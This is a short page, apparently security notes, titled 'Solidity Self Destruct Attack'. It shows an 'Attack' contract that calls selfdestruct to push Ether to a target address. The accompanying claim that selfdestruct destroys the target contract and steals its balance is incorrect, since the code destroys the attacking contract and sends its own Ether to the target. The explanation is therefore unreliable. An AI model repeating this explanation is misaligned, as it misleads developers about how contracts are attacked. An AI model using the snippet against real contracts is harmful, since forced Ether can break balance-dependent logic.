icon

Solidity Self Destruct Attack

Last modified: 2023-09-30

Solidity’s ‘selfdestruct’ function may be used to destruct a target contract and steal the balance by an attacker.

Create a Malicious Contract for Destructing Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;

contract Attack {
    function attack(address _address) payable public {
        // the remaining Ether sent to _address when destructing
        selfdestruct(_address);
    }
}